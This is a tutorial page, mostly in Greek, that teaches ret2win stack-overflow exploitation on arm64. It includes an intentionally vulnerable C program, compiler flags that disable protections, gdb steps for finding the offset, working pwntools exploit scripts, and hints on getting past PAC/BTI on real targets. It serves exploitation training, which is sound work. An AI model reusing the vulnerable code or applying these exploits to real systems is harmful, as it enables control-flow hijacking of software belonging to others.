Ret2win - arm64

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βρείτε μια εισαγωγή στο arm64 στο:

Introduction to ARM64v8

Κώδικας

c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Μεταγλωττίστε χωρίς pie και canary:

bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • The extra flag -mbranch-protection=none disables AArch64 Branch Protection (PAC/BTI). If your toolchain defaults to enabling PAC or BTI, this keeps the lab reproducible. To check whether a compiled binary uses PAC/BTI you can:
  • Αναζητήστε AArch64 GNU properties:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Επιθεωρήστε prologues/epilogues για paciasp/autiasp (PAC) ή για bti c landing pads (BTI):
  • objdump -d ret2win | head -n 40

Σύντομα στοιχεία για το AArch64 calling convention

  • Ο link register είναι x30 (a.k.a. lr), και οι συναρτήσεις συνήθως αποθηκεύουν x29/x30 με stp x29, x30, [sp, #-16]! και τα επαναφέρουν με ldp x29, x30, [sp], #16; ret.
  • Αυτό σημαίνει ότι η αποθηκευμένη διεύθυνση επιστροφής βρίσκεται στο sp+8 σε σχέση με τη βάση του frame. Με ένα char buffer[64] τοποθετημένο πιο κάτω, η συνήθης απόσταση υπερχείλισης προς το αποθηκευμένο x30 είναι 64 (buffer) + 8 (saved x29) = 72 bytes — ακριβώς αυτό που θα βρούμε παρακάτω.
  • Ο stack pointer πρέπει να παραμένει 16‑byte aligned στα όρια συναρτήσεων. Αν φτιάξετε ROP chains αργότερα για πιο σύνθετα σενάρια, διατηρήστε την ευθυγράμμιση του SP ή μπορεί να καταρρεύσετε σε function epilogues.

Εύρεση του offset

Επιλογή pattern

This example was created using GEF:

Ξεκινήστε gdb με gef, δημιουργήστε pattern και χρησιμοποιήστε το:

bash
gdb -q ./ret2win
pattern create 200
run

arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που βρίσκεται στον καταχωρητή x30 (ο οποίος έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε τη μετατόπιση του pattern:

bash
pattern search $x30

Το offset είναι 72 (9x48).

Επιλογή Stack offset

Ξεκινήστε βρίσκοντας τη διεύθυνση του stack όπου αποθηκεύεται ο pc register:

bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Τώρα ρυθμίστε ένα breakpoint μετά το read() και συνεχίστε μέχρι να εκτελεστεί το read() και ορίστε ένα pattern όπως 13371337:

b *vulnerable_function+28
c

Βρείτε πού αποθηκεύεται αυτό το πρότυπο στη μνήμη:

Στη συνέχεια: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Κανονικό

Βρείτε τη διεύθυνση της συνάρτησης win:

bash
objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Στην πραγματικότητα αυτό θα είναι περισσότερο σαν ένα off-by-2 στο αποθηκευμένο PC στο stack. Αντί να υπεργράψουμε ολόκληρο το return address, θα υπεργράψουμε μόνο τα τελευταία 2 bytes με 0x06c4.

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-one σε ARM64 στο https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, το οποίο είναι ένα πραγματικό off-by-one σε μια φανταστική ευπάθεια.

With PIE

tip

Μεταγλωττίστε το binary χωρίς το -no-pie argument

Off-by-2

Χωρίς leak δεν γνωρίζουμε την ακριβή διεύθυνση της συνάρτησης win, αλλά μπορούμε να γνωρίζουμε το offset της συνάρτησης μέσα στο binary και, δεδομένου ότι η διεύθυνση επιστροφής που υπεργράφουμε ήδη δείχνει σε μια κοντινή διεύθυνση, είναι δυνατό να leak-άρουμε το offset προς τη συνάρτηση win (0x7d4) σε αυτή την περίπτωση και απλώς να χρησιμοποιήσουμε αυτό το offset:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Σημειώσεις για τη σύγχρονη ενίσχυση AArch64 (PAC/BTI) και ret2win

  • Αν το binary έχει compiled με AArch64 Branch Protection, μπορεί να δείτε paciasp/autiasp ή bti c να εκπέμπονται σε function prologues/epilogues. Σε αυτή την περίπτωση:
  • Επιστροφή σε μια διεύθυνση που δεν είναι έγκυρο BTI landing pad μπορεί να προκαλέσει SIGILL. Προτιμήστε στόχευση στην ακριβή function entry που περιέχει bti c.
  • Αν το PAC είναι ενεργοποιημένο για returns, οι απλές return‑address overwrites μπορεί να αποτύχουν επειδή το epilogue αυθεντικοποιεί το x30. Για εκπαιδευτικά σενάρια, rebuild με -mbranch-protection=none (όπως φαίνεται παραπάνω). Όταν επιτίθεστε σε πραγματικούς στόχους, προτιμήστε non‑return hijacks (π.χ. function pointer overwrites) ή φτιάξτε ROP που ποτέ δεν εκτελεί το ζευγάρι autiasp/ret που αυθεντικοποιεί το πλαστό σας LR.
  • Για γρήγορο έλεγχο των χαρακτηριστικών:
  • readelf --notes -W ./ret2win και ελέγξτε για τις σημειώσεις AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC.
  • objdump -d ./ret2win | head -n 40 και ψάξτε για bti c, paciasp, autiasp.

Εκτέλεση σε μη‑ARM64 hosts (qemu‑user quick tip)

Αν είστε σε x86_64 αλλά θέλετε να εξασκηθείτε σε AArch64:

bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Σχετικές σελίδες HackTricks

Ret2syscall - ARM64

Ret2lib + Printf leak - arm64

Αναφορές

  • Ενεργοποίηση PAC και BTI σε AArch64 για Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Πρότυπο κλήσης διαδικασίας για την αρχιτεκτονική Arm 64-bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks